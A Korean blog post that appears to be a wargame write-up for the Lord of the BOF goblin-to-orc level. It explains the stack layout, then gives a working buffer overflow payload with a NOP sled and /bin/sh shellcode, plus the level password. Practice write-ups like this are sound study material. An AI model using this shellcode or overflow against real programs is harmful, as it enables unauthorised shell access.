시험기간 & 걍 휴식으로 인해 너무 오래 쉬었지만 마침 계절학기 교양이 핵노잼이어서 다시 시작ㅋ
문제다.
memset을 이용하여 계속 환경변수를 초기화시킨다. 근데 여태 몰랐는데 문제 상단에 주석으로 힌트가 달리는거같다..... 이래서 문제를 잘 읽어야 하는데..........ㅋ 기말도 문제 제대로 안읽어서 망했으면섴ㅋㅋㅋ
문제자체에도 egghunter라 써있는걸 보면 환경변수를 이용할 수 없는거같다.
argv[1][47]에 \xbf가 들어가야된단다. canary인거같다.
문제가 쫌 긴만큼 다시 정리해보자면
1. 전역변수로 환경변수들을 선언 -> 0으로 초기화
2. buffer의 size는 40, int i의 사이즈 4 합하면 44..
3. canary값 존재
먼저 tmp폴더에 orc파일을 옮기고 gdb로 실행해봤는데 register가 확인이 안돼서 core dump로 확인해보았다.
내 시나리오는 A로 44byte 채우고, 4byte에 ret를 변조시킨다. 다음 NOP를 쭈욱 넣고 썰매를 타서 shellcode를 실행시킬것이다
내 페이로드이다
./orc `python -c 'print "A"*44+"\x60\xfa\xff\xbf"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
처음에는 ret주소를 잘못 생각해서 실패하였고 위의 페이로드로 잘 됐다.
pw는 cantata
'wargame > S_LOB' 카테고리의 다른 글
wolfman->darkelf (2) | 2016.08.31 |
---|---|
orc->wolfman (0) | 2016.06.24 |
cobolt -> goblin (0) | 2016.06.14 |
gremlin->cobolt (0) | 2016.06.12 |
gate->gremlin (0) | 2016.06.12 |